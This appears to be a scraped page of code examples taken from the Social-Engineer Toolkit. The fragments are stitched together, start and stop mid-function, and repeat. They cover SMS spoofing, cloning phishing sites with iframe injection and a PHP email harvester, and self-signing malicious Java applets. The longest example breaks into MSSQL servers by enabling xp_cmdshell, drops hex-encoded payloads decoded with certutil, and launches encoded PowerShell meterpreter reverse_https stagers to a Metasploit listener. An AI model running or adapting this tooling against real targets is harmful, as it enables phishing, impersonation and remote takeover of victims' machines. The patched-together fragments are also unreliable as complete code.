        core.print_info("Exporting the cert request to text file...")
        # generate the request and export to certreq
        subprocess.Popen("keytool -certreq -alias MyCert > %s/certreq.txt" %
                         (definepath),
                         shell=True).wait()
        core.print_status(
            "Export successful. Exported certificate under the SET root under certreq.txt"
        )
        core.print_warning(
            "You will now need to pay for a code signing certificate through Verisign/Thawte/GoDaddy/etc."
        )
        core.print_warning(
            "Be sure to purchase a code signing certificate, not a normal website SSL certificate."
        )
        core.print_info("When finished, enter the path to the .cer file below")
        # cert_path is used for the certificate path when generating

        cert_path = raw_input(
            core.setprompt(
                "0", "Path for the code signing certificate file (.spc file)"))
        # if we can't find the filename
        if not os.path.isfile(cert_path):
Example #20
0
def _do_sms():
    print(
        """\n        ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n"""
    )
    print(
        "This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
        "This is a third party service outside of the control from the Social-Engineer Toolkit. "
        "The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
        "to use in order to allow SET to perform the SMS spoofing. You will need to visit "
        "https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
        "payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
        "plan that you want, you will need to remember your email address and password used for "
        "the account. SET will then handle the rest.\n")

    print(
        "In order for this to work you must have an account over at spoofmytextmessage.com\n"
    )
    print(
        "Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
        "spoofmytextmessage.com\n")

    core.print_error(
        "DISCLAIMER: By submitting yes, you understand that you accept all terms and "
        "services from spoofmytextmessage.com and you are fully aware of your countries "
        "legal stance on SMS spoofing prior to performing any of these. By accepting yes "
        "you fully acknowledge these terms and will not use them for unlawful purposes."
    )

    message = input("\nDo you accept these terms (yes or no): ")

    if message == "yes":
        core.print_status(
            "Okay! Moving on - SET needs some information from you in order to spoof the message."
        )
        email = input(
            core.setprompt([
                "7"
            ], "Enter your email address for the spoofmytextmessage.com account"
                           ))
        pw = input(
            core.setprompt(
                ["7"],
                "Enter your password for the spoofmytextmessage.com account"))
        core.print_status(
            "The next section requires a country code, this is the code you would use to dial "
            "to the specific country, for example if I was sending a message to 555-555-5555 to "
            "the United States (or from) you would enter +1 below.")

        tocountry = input(
            core.setprompt(
                ["7"],
                "Enter the country code for the number you are sending TO "
                "(for example U.S would be '+1')[+1]"))
        if tocountry == "":
            tocountry = "+1"

        fromcountry = input(
            core.setprompt(
                ["7"],
                "Enter the country code for the number you are sending FROM "
                "(for example U.S. would be '+1')[+1]"))
        if fromcountry == "":
            fromcountry = "+1"

        tonumber = input(
            core.setprompt(
                ["7"],
                "Enter the number to send the SMS TO - be sure to include "
                "country code (example: +15551234567)"))

        fromnumber = input(
            core.setprompt(
                ["7"],
                "Enter the number you want to come FROM - be sure to include "
                "country code (example: +15551234567)"))

        message = input(
            core.setprompt(
                ["7"],
                "Enter the message you want to send via the text message"))

        # note that the function for this is in a compiled python file with no source -
        # this was done at the request of the third party we use since the API is not documented.
        # I hand wrote the code and can validate its authenticity - it imports python requests
        # and json and uses that to interact with the API. From a security standpoint if you are
        # uncomfortable using this - feel free to ping me and I can walk you through what I do
        # without giving away the API from the third party.
        from src.sms.protectedapi import send_sms
        send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber,
                 message)

    else:
        core.print_status(
            "Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector..."
        )
Example #21
0
def launch():
    while 1:
        print (
            """
  1.  Pre-Defined Template
  2.  One-Time Use SMS

  99. Cancel and return to SMS Spoofing Menu
"""
        )
        template_choice = raw_input(core.setprompt(["7"], "Use a predefined template or craft a one time SMS?"))
        # if predefined template go here
        if template_choice == "1":
            # set path for
            path = "src/templates/sms/"
            filewrite = file("src/program_junk/sms.templates", "w")
            counter = 0
            # Pull all files in the templates directory
            for infile in glob.glob(os.path.join(path, "*.template")):
                infile = infile.split("/")
                # grab just the filename
                infile = infile[3]
                counter = counter + 1
                # put it in a format we can use later in a file
                filewrite.write(infile + " " + str(counter) + "\n")
            # close the file
            filewrite.close()
            # read in formatted filenames
            fileread = file("src/program_junk/sms.templates", "r").readlines()
            print "Below is a list of available templates:\n"
            for line in fileread:
                line = line.rstrip()
                line = line.split(" ")
                filename = line[0]
                # read in file
                fileread2 = file("src/templates/sms/%s" % (filename), "r").readlines()
                for line2 in fileread2:
                    match = re.search("SUBJECT=", line2)
                    if match:
                        line2 = line2.rstrip()
                        line2 = line2.split("=")
                        line2 = line2[1]
                        # strip double quotes
                        line2 = line2.replace('"', "")
                        # display results back
                        print line[1] + ": " + line2

            # allow user to select template
            choice = raw_input(core.setprompt(["7"], "Select template"))
            for line in fileread:
                # split based off of space
                line = line.split(" ")
                # search for the choice
                match = re.search(str(choice), line[1])
                if match:
                    extract = line[0]
                    fileopen = file("src/templates/sms/" + str(extract), "r").readlines()
                    for line2 in fileopen:
                        match2 = re.search("ORIGIN=", line2)
                        if match2:
                            origin = line2.replace('"', "")
                            origin = origin.split("=")
                            origin = origin[1]
                        match3 = re.search("SUBJECT=", line2)
                        if match3:
                            subject = line2.replace('"', "")
                            subject = subject.split("=")
                            subject = subject[1]
                        match4 = re.search("BODY=", line2)
                        if match4:
                            body = line2.replace('"', "")
                            body = body.replace(r"\n", " \n ")
                            body = body.split("=")
                            body = body[1]

            break
        if template_choice == "2":
            try:
                origin = raw_input(core.setprompt(["7"], "Source number phone"))
                body = raw_input(
                    core.setprompt(["7"], "Body of the message, hit return for a new line. Control+c when finished")
                )
                while body != "sdfsdfihdsfsodhdsofh":
                    try:
                        body += "\n"
                        body += raw_input("Next line of the body: ")
                    except KeyboardInterrupt:
                        break
            except KeyboardInterrupt:
                pass
            break

        if template_choice == "99":
            break

    if template_choice != "3":
        while 1:
            print (
                """
 Service Selection

 There are diferent services you can use for the SMS spoofing, select
 your own.

  1.  SohoOS (buggy)
  2.  Lleida.net (pay)
  3.  SMSGANG (pay)
  4.  Android Emulator (need to install Android Emulator)

  99. Cancel and return to SMS Spoofing Menu
"""
            )
            service_option = raw_input(core.setprompt(["7"], ""))
            # exit
            if service_option == "1":
                break
            if service_option == "2":
                break
            if service_option == "3":
                break
            if service_option == "4":
                break
            if service_option == "99":
                break

    if template_choice != "3" and service_option != "99":
        # sohoOS service
        if service_option == "1":
            for to in phones:
                send_sohoos_sms(to.rstrip(), origin.rstrip(), body.rstrip())
            # Finish here then return to main menu
            core.print_status("SET has completed!")
            core.return_continue()

        # Lleida.net service
        if service_option == "2":
            user = raw_input(core.setprompt(["7"], "Your Lleida.net user"))
            password = raw_input(core.setprompt(["7"], "Your Lleida.net password"))
            email = raw_input(core.setprompt(["7"], "Email for the receipt (optional)"))
            for to in phones:
                send_lleidanet_sms(to.rstrip(), origin.rstrip(), body.rstrip(), user, password, email)
            # Finish here then return to main menu
            core.print_status("SET has completed!")
            core.return_continue()

        # SMSGANG service
        if service_option == "3":
            pincode = raw_input(core.setprompt(["7"], "Your SMSGANG pincode"))
            for to in phones:
                send_smsgang_sms(to.rstrip(), origin.rstrip(), body.rstrip(), pincode)
            # Finish here then return to main menu
            core.print_status("SET has completed!")
            core.return_continue()

        # Andriod Emulator service
        if service_option == "4":
            for to in phones:
                send_android_emu_sms(origin.rstrip(), body.rstrip())
            # Finish here then return to main menu
            core.print_status("SET has completed!")
            core.return_continue()
        .-. .-. . . .-. .-. .-. .-. .-.   .  . .-. .-. .-.
        |.. |-| |\| |.. `-.  |  |-  |(    |\/| | | |  )|-
        `-' ` ' ' ` `-' `-'  '  `-' ' '   '  ` `-' `-' `-'
                                                   enabled.\n""")

# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if not os.path.isfile(path):
    while True:
        core.print_warning("Filename not found, try again")
        path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
        if os.path.isfile(path):
            break

core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.")
core.print_status("Converting the executable to a hexadecimal form to be converted later...")

with open(path, "rb") as fileopen:
    data = fileopen.read()
data = binascii.hexlify(data)
with open("converts.txt", "w") as filewrite:
    filewrite.write(data)
print("[*] File converted successfully. It has been exported in the working directory under 'converts.txt'. "
      "Copy this one file to the teensy SDCard.")

output_variable = "/*\nTeensy Hex to File SDCard Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)\n" \
                  "Reading from a SD card.  Based on code from: http://arduino.cc/en/Tutorial/DumpFile\n*/\n\n"

# this is used to write out the file
random_filename = core.generate_random_string(8, 15) + ".txt"
Example #23
0
)
core.print_error("*** WARNING ***")

# random string used to generate signature of java applet
random_string = core.generate_random_string(10, 30)

# grab keystore to use later
subprocess.Popen("keytool -genkey -alias {0} "
                 "-keystore mykeystore "
                 "-keypass mykeypass "
                 "-storepass mystorepass".format(random_string),
                 shell=True).wait()

# self-sign the applet
subprocess.Popen(
    "jarsigner -keystore mykeystore "
    "-storepass mystorepass "
    "-keypass mykeypass "
    "-signedjar Signed_Update.jar unsigned.jar {0}".format(random_string),
    shell=True).wait()

# move it into our html directory
subprocess.Popen("cp Signed_Update.jar ../", shell=True).wait()
subprocess.Popen("mv Signed_Update.jar {0}".format(core.userconfigpath),
                 shell=True)

# move back to original directory
os.chdir("../../../")
core.print_status(
    "Java Applet is now signed and will be imported into the website")
Example #24
0
def web_server_start():
    # define if use apache or not
    apache = False
    # open set_config here
    apache_check = core.check_config("APACHE_SERVER=").lower()
    if apache_check == "on" or track_email == "on":
        apache_path = core.check_config("APACHE_DIRECTORY=")
        if os.path.isdir(os.path.join(apache_path, "html")):
            os.path.join(apache_path, "html")
        apache = True
        if operating_system == "windows":
            apache = False

    # specify the web port
    web_port = core.check_config("WEB_PORT=")

    # see if exploit requires webdav
    if os.path.isfile(os.path.join(core.setdir, "meta_config")):
        with open(os.path.join(core.setdir, "meta_config")) as fileopen:
            for line in fileopen:
                line = line.rstrip()
                match = re.search("set SRVPORT 80", line)
                if match:
                    match2 = re.search("set SRVPORT 8080", line)
                    if not match2:
                        web_port = 8080

    # check ip address
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("Enter your ip address: ")

    # unless we create template  do self
    template = "SELF"
    # Grab custom or set defined
    if os.path.isfile(os.path.join(core.setdir, "site.template")):
        with open(core.setdir, "site.template") as fileopen:
            for line in fileopen:
                line = line.rstrip()
                template_match = re.search("TEMPLATE=", line)
                url_match = re.search("URL=", line)
                if url_match:
                    # define url to clone here
                    url = line.split("=")[1].rstrip()
                if template_match:
                    template = line.split("=")[1]

    # if attach vector isn't set just set a default template
    attack_vector = "nada"
    # grab web attack selection
    if os.path.isfile(os.path.join(core.setdir, "attack_vector")):
        with open(os.path.join(core.setdir, "attack_vector")) as fileopen:
            for line in fileopen:
                attack_vector = line.rstrip()

    # Sticking it to A/V below
    rand_gen = random_string()

    # check multiattack flags here
    multiattack_harv = "off"
    if os.path.isfile(os.path.join(core.setdir, "multi_harvester")):
        multiattack_harv = "on"
    if os.path.isfile(os.path.join(core.setdir, "/multi_tabnabbing")):
        multiattack_harv = "on"

    # If SET is setting up the website for you, get the website ready for
    # delivery
    if template == "SET":
        # change to that directory
        os.chdir("src/html/")
        # remove stale index.html files
        if os.path.isfile("index.html"):
            os.remove("index.html")
        # define files and get ipaddress set in index.html

        if attack_vector == "java":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    match1 = re.search("msf.exe", line)
                    if match1:
                        line = line.replace("msf.exe", rand_gen)
                    match = re.search("ipaddrhere", line)
                    if match:
                        line = line.replace("ipaddrhere", ipaddr)
                    filewrite.write(line)
            # move random generated name
            shutil.copyfile("msf.exe", rand_gen)

        # define browser attack vector here
        if attack_vector == "browser":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    counter = 0
                    match = re.search(applet_name, line)
                    if match:
                        line = line.replace(applet_name, "invalid.jar")
                        filewrite.write(line)
                        counter = 1
                    match2 = re.search("<head>", line)
                    if match2:
                        if web_port != 8080:
                            line = line.replace("<head>",
                                                '<head><iframe src ="http://{0}:8080/" width="100" height="100" scrolling="no"></iframe>'.format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                        if web_port == 8080:
                            line = line.replace(
                                "<head>", '<head><iframe src = "http://{0}:80/" width="100" height="100" scrolling="no" ></iframe>'.format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                    if counter == 0:
                        filewrite.write(line)

    if template == "CUSTOM" or template == "SELF":
        # Bring our files to our directory
        if attack_vector != 'hid' and attack_vector != 'hijacking':
            print(core.bcolors.YELLOW + "[*] Moving payload into cloned website." + core.bcolors.ENDC)
            # copy all the files needed
            if not os.path.isfile(os.path.join(core.setdir, applet_name)):
                shutil.copyfile(os.path.join(definepath, "src/html/Signed_Update.jar.orig"), os.path.join(core.setdir, applet_name))
            shutil.copyfile(os.path.join(core.setdir, applet_name), os.path.join(core.setdir, "web_clone", applet_name))
            if os.path.isfile(os.path.join(definepath, "src/html/nix.bin")):
                nix = core.check_options("NIX.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/nix.bin"), os.path.join(core.setdir, "web_clone", nix))
            if os.path.isfile(os.path.join(definepath, "src/html/mac.bin")):
                mac = core.check_options("MAC.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/mac.bin"), os.path.join(core.setdir, "web_clone", mac))
            if os.path.isfile(os.path.join(core.setdir, "msf.exe")):
                win = core.check_options("MSF.EXE=")
                shutil.copyfile(os.path.join(core.setdir, "msf.exe"), os.path.join(core.setdir, "web_clone", win))

            # pull random name generation
            core.print_status("The site has been moved. SET Web Server is now listening..")
            rand_gen = core.check_options("MSF_EXE=")
            if rand_gen:
                if os.path.isfile(os.path.join(core.setdir, "custom.exe")):
                    shutil.copyfile(os.path.join(core.setdir, "msf.exe"), os.path.join(core.setdir, "web_clone/msf.exe"))
                    print("\n[*] Website has been cloned and custom payload imported. Have someone browse your site now")
                shutil.copyfile(os.path.join(core.setdir, "web_clone/msf.exe"), os.path.join(core.setdir, "web_clone", rand_gen))

    # if docbase exploit do some funky stuff to get it to work right
    if os.path.isfile(os.path.join(core.setdir, "docbase.file")):
        docbase = (r"""<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
         "http://www.w3.org/TR/html4/frameset.dtd">
        <HTML>
        <HEAD>
        <TITLE></TITLE>
        </HEAD>
        <FRAMESET rows="99%%, 1%%">
        <FRAME src="site.html">
        <FRAME name=docbase noresize borders=0 scrolling=no src="http://{0}:8080">
        </FRAMESET>
        </HTML>""".format(ipaddr))
        if os.path.isfile(os.path.join(core.setdir, "web_clone/site.html")):
            os.remove(os.path.join(core.setdir, "web_clone/site.html"))
        shutil.copyfile(os.path.join(core.setdir, "web_clone/index.html"),
                        os.path.join(core.setdir, "web_clone/site.html"))
        with open(core.setdir + "/web_clone/index.html", "w") as filewrite:
            filewrite.write(docbase)

    ##########################################################################
    #
    # START WEB SERVER STUFF HERE
    #
    ##########################################################################

    if not apache:
        if multiattack_harv == 'off':
            try:
                # specify port listener here
                # specify the path for the SET web directories for the applet
                # attack
                path = os.path.join(core.setdir, "web_clone/")
                try:
                    import src.core.webserver as webserver
                    p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                    p.start()
                except:
                    thread.start_new_thread(webserver.start_server, (web_port, path))

            # Handle KeyboardInterrupt
            except KeyboardInterrupt:
                core.exit_set()

            # Handle Exceptions
            except Exception as e:
                core.log(e)
                print("{0}[!] ERROR: You probably have something running on port 80 already, Apache??"
                      "[!] There was an issue, printing error: {1}{2}".format(core.bcolors.RED, e, core.bcolors.ENDC))
                stop_apache = input("Attempt to stop Apache? y/n: ")
                if stop_apache == "yes" or stop_apache == "y" or stop_apache == "":
                    subprocess.Popen("/etc/init.d/apache2 stop", shell=True).wait()
                    try:
                        # specify port listener here
                        import src.core.webserver as webserver
                        # specify the path for the SET web directories for the
                        # applet attack
                        path = os.path.join(core.setdir + "web_clone")
                        p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                        p.start()

                    except:
                        print("{0}[!] UNABLE TO STOP APACHE! Exiting...{1}".format(core.bcolors.RED, core.bcolors.ENDC))
                        sys.exit()

            # if we are custom, put a pause here to not terminate thread on web
            # server
            if template == "CUSTOM" or template == "SELF":
                custom_exe = core.check_options("CUSTOM_EXE=")
                if custom_exe:
                    while True:
                        # try block inside of loop, if control-c detected, then
                        # exit
                        try:
                            core.print_warning("Note that if you are using a CUSTOM payload. YOU NEED TO CREATE A LISTENER!!!!!")
                            input("\n{0}[*] Web Server is listening. Press Control-C to exit.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))

                        # handle keyboard interrupt
                        except KeyboardInterrupt:
                            print("{0}[*] Returning to main menu.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))
                            break

    if apache:
        subprocess.Popen("cp {0} {apache_path};"
                         "cp {1} {apache_path};"
                         "cp {2} {apache_path};"
                         "cp {3} {apache_path};"
                         "cp {4} {apache_path}".format(os.path.join(definepath, "src/html/*.bin"),
                                                       os.path.join(definepath, "src/html/*.html"),
                                                       os.path.join(core.setdir, "web_clone/*"),
                                                       os.path.join(core.setdir, "msf.exe"),
                                                       os.path.join(core.setdir, "*.jar"),
                                                       apache_path=apache_path),
                         shell=True,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE).wait()

        # if we are tracking users
        if track_email == "on":
            now = datetime.datetime.today()
            with open(os.path.join(apache_path, "harvester_{}.txt".format(now)), 'w') as filewrite:
                filewrite.write("")
            subprocess.Popen("chown www-data:www-data '{0}'".format(os.path.join(apache_path, "harvester_{}.txt".format(now))), shell=True).wait()
            # here we specify if we are tracking users and such
            with open(os.path.join(apache_path, "index.html")) as fileopen:
                data = fileopen.read()
            data = data.replace("<body>",
                                "<body>"
                                "<?php $file = 'harvester_{0}.txt'; $queryString = ''; foreach ($_GET as $key => $value) {{ $queryString .= $key . '=' . $value . '&';}}$query_string = base64_decode($queryString);file_put_contents($file, print_r(\"Email address recorded: \" . $query_string . \"\\n\", true), FILE_APPEND);?>\n"
                                "/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */".format(now))
            with open(os.path.join(apache_path, "index.php"), "w") as filewrite:
                filewrite.write(data)
            core.print_status("All files have been copied to {}".format(apache_path))

    ##########################################################################
    #
    # END WEB SERVER STUFF HERE
    #
    ##########################################################################

    if operating_system != "windows":
        # Grab metaspoit path
        msf_path = core.meta_path()
# if we selected RATTE in our payload selection
if payload_selection == "RATTE":
    fileopen = file("src/payloads/ratte/ratte.binary", "rb")
    data = fileopen.read()
    filewrite = open("src/program_junk/msf.exe", "wb")
    host = int(len(ipaddr)+1) * "X"
    rPort = int(len(str(port))+1) * "Y"
    filewrite.write(data.replace(str(host), ipaddr+"\x00", 1))
    filewrite.close()
    fileopen = open("src/program_junk/msf.exe", "rb")
    data = fileopen.read()
    filewrite = open("src/program_junk/msf.exe", "wb")
    filewrite.write(data.replace(str(rPort), str(port)+"\x00", 1))
    filewrite.close()

setcore.print_status("Done, moving the payload into the action.")

if upx_encode == "ON" or upx_encode == "on":
    # core upx
    pass #setcore.upx("src/program_junk/msf.exe")

if os.path.isfile("src/program_junk/web_clone/msf.exe"):
    os.remove("src/program_junk/web_clone/msf.exe")
if os.path.isfile("src/program_junk/msf.exe"):
    shutil.copyfile("src/program_junk/msf.exe", "src/program_junk/web_clone/msf.exe")

if payload_selection == "SETSHELL":
    if os.path.isfile("%s/src/program_junk/web_clone/x" %(definepath)):
        os.remove("%s/src/program_junk/web_clone/x" % (definepath))
    shutil.copyfile("%s/src/payloads/set_payloads/shell.windows" % (definepath), "%s/src/program_junk/web_clone/x" % (definepath))
Example #26
0
def deploy_hex2binary(ipaddr, port, username, password):
    # base variable used to select payload option
    option = None
    choice1 = "1"

    conn = _mssql.connect("{0}:{1}".format(ipaddr, port),
                          username,
                          password)
    core.print_status("Enabling the xp_cmdshell stored procedure...")
    try:
        conn.execute_query("exec master.dbo.sp_configure 'show advanced options',1;"
                           "GO;"
                           "RECONFIGURE;"
                           "GO;"
                           "exec master.dbo.sp_configure 'xp_cmdshell', 1;"
                           "GO;"
                           "RECONFIGURE;"
                           "GO")
    except:
        pass
    # just throw a simple command via powershell to get the output
    try:
        print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""")

        choice = input("Enter your choice:\n\n"
                       "1.) Use PowerShell Injection (recommended)\n"
                       "2.) Use Certutil binary conversion\n\n"
                       "Enter your choice [1]:")
        if choice == "":
            choice = "1"
        if choice == "1":
            core.print_status("Powershell injection was selected to deploy to the remote system (awesome).")
            option_ps = input("Do you want to use powershell injection? [yes/no]:")
            if option_ps.lower() == "" or option_ps == "y" or option_ps == "yes":
                option = "1"
                core.print_status("Powershell delivery selected. Boom!")
            else:
                option = "2"

        # otherwise, fall back to the older version using debug conversion via hex
        else:
            core.print_status("Powershell not selected, using debug method.")
            option = "2"

    except Exception as err:
        print(err)
    payload_filename = None

    # if we don't have powershell
    if option == "2":
        # give option to use msf or your own
        core.print_status("You can either select to use a default "
                          "Metasploit payload here or import your "
                          "own in order to deliver to the system. "
                          "Note that if you select your own, you "
                          "will need to create your own listener "
                          "at the end in order to capture this.\n\n")
        choice1 = input("1.) Use Metasploit (default)\n"
                        "2.) Select your own\n\n"
                        "Enter your choice[1]:")

        if choice1 == "":
            choice1 = "1"

        if choice1 == "2":
            attempts = 0
            while attempts <= 2:
                payload_filename = input("Enter the path to your file you want to deploy to the system (ex /root/blah.exe):")
                if os.path.isfile(payload_filename):
                    break
                else:
                    core.print_error("File not found! Try again.")
                    attempts += 1
            else:
                core.print_error("Computers are hard. Find the path and try again. Defaulting to Metasploit payload.")
                choice1 = "1"

        if choice1 == "1":
            web_path = None

            #prep_powershell_payload()
            import src.core.payloadgen.create_payloads

            # if we are using a SET interactive shell payload then we need to make
            # the path under web_clone versus ~./set
            if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")):
                web_path = os.path.join(core.userconfigpath, "web_clone")
                # then we are using metasploit
            else:
                if operating_system == "posix":
                    web_path = core.userconfigpath
                    # if it isn't there yet
                    if not os.path.isfile(core.userconfigpath + "1msf.exe"):
                        # move it then
                        subprocess.Popen("cp %s/msf.exe %s/1msf.exe" %
                                         (core.userconfigpath, core.userconfigpath), shell=True).wait()
                        subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" %
                                         (core.userconfigpath, core.userconfigpath), shell=True).wait()
                        subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" %
                                         (core.userconfigpath, core.userconfigpath), shell=True).wait()
            payload_filename = os.path.join(web_path + "1msf.exe")

        with open(payload_filename, "rb") as fileopen:
            # read in the binary
            data = fileopen.read()
            # convert the binary to hex
            data = binascii.hexlify(data)
            # we write out binary out to a file

        with open(os.path.join(core.userconfigpath, "payload.hex"), "w") as filewrite:
            filewrite.write(data)

        if choice1 == "1":
            # if we are using metasploit, start the listener
            if not os.path.isfile(os.path.join(core.userconfigpath, "set.payload")):
                if operating_system == "posix":
                    try:
                        core.module_reload(pexpect)
                    except:
                        import pexpect
                        core.print_status("Starting the Metasploit listener...")
                        msf_path = core.meta_path()
                        child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
                                                                        os.path.join(core.userconfigpath, "meta_config")))

        # random executable name
        random_exe = core.generate_random_string(10, 15)

    #
    # next we deploy our hex to binary if we selected option 1 (powershell)
    #
    if option == "1":
        core.print_status("Using universal powershell x86 process downgrade attack..")
        payload = "x86"

        # specify ipaddress of reverse listener
        ipaddr = core.grab_ipaddress()
        core.update_options("IPADDR=" + ipaddr)
        port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))

        if not port:
            port = "443"

        core.update_options("PORT={0}".format(port))
        core.update_options("POWERSHELL_SOLO=ON")
        core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")

        #with open(os.path.join(core.userconfigpath, "payload_options.shellcode"), "w") as filewrite:
        # format needed for shellcode generation
        filewrite = open(core.userconfigpath + "payload_options.shellcode", "w")
        filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
        filewrite.close()

        try:
            core.module_reload(src.payloads.powershell.prep)
        except:
            import src.payloads.powershell.prep

        # launch powershell
        # create the directory if it does not exist
        if not os.path.isdir(os.path.join(core.userconfigpath, "reports/powershell")):
            os.makedirs(os.path.join(core.userconfigpath, "reports/powershell"))

        x86 = open(core.userconfigpath + "x86.powershell").read().rstrip()
        x86 = core.powershell_encodedcommand(x86)
        core.print_status("If you want the powershell commands and attack, "
                          "they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell")))
        filewrite = open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w")
        filewrite.write(x86)
        filewrite.close()

        # if our payload is x86 based - need to prep msfconsole rc
        if payload == "x86":
            powershell_command = x86
            filewrite = open(core.userconfigpath + "reports/powershell/powershell.rc", "w")
            filewrite.write("use multi/handler\n"
                                "set payload windows/meterpreter/reverse_https\n"
                                "set lport {0}\n"
                                "set LHOST 0.0.0.0\n"
                                "exploit -j".format(port))
            filewrite.close()

        else:
            powershell_command = None

        # grab the metasploit path from config or smart detection
        msf_path = core.meta_path()
        if operating_system == "posix":

            try:
                core.module_reload(pexpect)
            except:
                import pexpect

            core.print_status("Starting the Metasploit listener...")
            child2 = pexpect.spawn("{0} -r {1}".format(os.path.join(msf_path + "msfconsole"),
                                                     os.path.join(core.userconfigpath, "reports/powershell/powershell.rc")))
            core.print_status("Waiting for the listener to start first before we continue forward...")
            core.print_status("Be patient, Metasploit takes a little bit to start...")
            #child2.expect("Starting the payload handler", timeout=30000)
            child2.expect("Processing", timeout=30000)
            core.print_status("Metasploit started... Waiting a couple more seconds for listener to activate..")
            time.sleep(5)

        # assign random_exe command to the powershell command
        random_exe = powershell_command

    #
    # next we deploy our hex to binary if we selected option 2 (debug)
    #

    if option == "2":

        # here we start the conversion and execute the payload
        core.print_status("Sending the main payload via to be converted back to a binary.")
        # read in the file 900 bytes at a time
        #with open(os.path.join(core.userconfigpath, 'payload.hex'), 'r') as fileopen:
        fileopen = open(core.userconfigpath + 'payload.hex', "r")
        core.print_status("Dropping initial begin certificate header...")
        conn.execute_query("exec master ..xp_cmdshell 'echo -----BEGIN CERTIFICATE----- > {0}.crt'".format(random_exe))
        while fileopen:
            data = fileopen.read(900).rstrip()
            #for data in fileopen.read(900).rstrip():
            if data == "":
                break

            core.print_status("Deploying payload to victim machine (hex): {bold}{data}{endc}\n".format(bold=core.bcolors.BOLD,
                                                                                                       data=data,
                                                                                                       endc=core.bcolors.ENDC))

            conn.execute_query("exec master..xp_cmdshell 'echo {data} >> {exe}.crt'".format(data=data,
                                                                                            exe=random_exe))
        core.print_status("Delivery complete. Converting hex back to binary format.")
        core.print_status("Dropping end header for binary format conversion...")
        conn.execute_query("exec master ..xp_cmdshell 'echo -----END CERTIFICATE----- >> {0}.crt'".format(random_exe))
        core.print_status("Converting hex binary back to hex using certutil - Matthew Graeber man crush enabled.")
        conn.execute_query("exec master..xp_cmdshell 'certutil -decode {0}.crt {0}.exe'".format(random_exe))
        core.print_status("Executing the payload - magic has happened and now its time for that moment.. "
                          "You know. When you celebrate. Salute to you ninja - you deserve it.")
        conn.execute_query("exec master..xp_cmdshell '{0}.exe'".format(random_exe))
        # if we are using SET payload
        if choice1 == "1":
            if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")):
                core.print_status("Spawning separate child process for listener...")
                try:
                    shutil.copyfile(os.path.join(core.userconfigpath, "web_clone/x"), definepath)
                except:
                    pass

                # start a threaded webserver in the background
                subprocess.Popen("python src/html/fasttrack_http_server.py", shell=True)
                # grab the port options

                # if core.check_options("PORT=") != 0:
                #     port = core.heck_options("PORT=")
                #
                # # if for some reason the port didnt get created we default to 443
                # else:
                #     port = "443"

    # thread is needed here due to the connect not always terminating thread,
    # it hangs if thread isnt specified
    try:
        core.module_reload(thread)
    except:
        import thread

    # execute the payload
    # we append more commands if option 1 is used
    if option == "1":
        core.print_status("Triggering the powershell injection payload... ")
        # remove encoding
        if "toString" in powershell_command:
            powershell_command = powershell_command.split(".value.toString() '")[1].replace("'", "")
            powershell_command = 'powershell -enc "' + powershell_command

        sql_command = ("exec master..xp_cmdshell '{0}'".format(powershell_command))
        thread.start_new_thread(conn.execute_query, (sql_command,))

    # using the old method
    if option == "2":
        core.print_status("Triggering payload stager...")
        alphainject = ""
        if os.path.isfile(os.path.join(core.userconfigpath, "meterpreter.alpha")):
            with open(os.path.join(core.userconfigpath, "meterpreter.alpha")) as fileopen:
                alphainject = fileopen.read()

        sql_command = ("xp_cmdshell '{0}.exe {1}'".format(random_exe, alphainject))
        # start thread of SQL command that executes payload
        thread.start_new_thread(conn.execute_query, (sql_command,))
        time.sleep(1)

    # if pexpect doesnt exit right then it freaks out
    if choice1 == "1":
        if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")):
            os.system("python ../../payloads/set_payloads/listener.py")
        try:
            # interact with the child process through pexpect
            child2.interact()
            try:
                os.remove("x")
            except:
                pass
        except:
            pass
Example #27
0
def deploy_hex2binary(ipaddr, port, username, password):
    # base variable used to select payload option
    option = None
    choice1 = "1"

    conn = _mssql.connect("{0}:{1}".format(ipaddr, port),
                          username,
                          password)
    core.print_status("Enabling the xp_cmdshell stored procedure...")
    try:
        conn.execute_query("exec master.dbo.sp_configure 'show advanced options',1;"
                           "GO;"
                           "RECONFIGURE;"
                           "GO;"
                           "exec master.dbo.sp_configure 'xp_cmdshell', 1;"
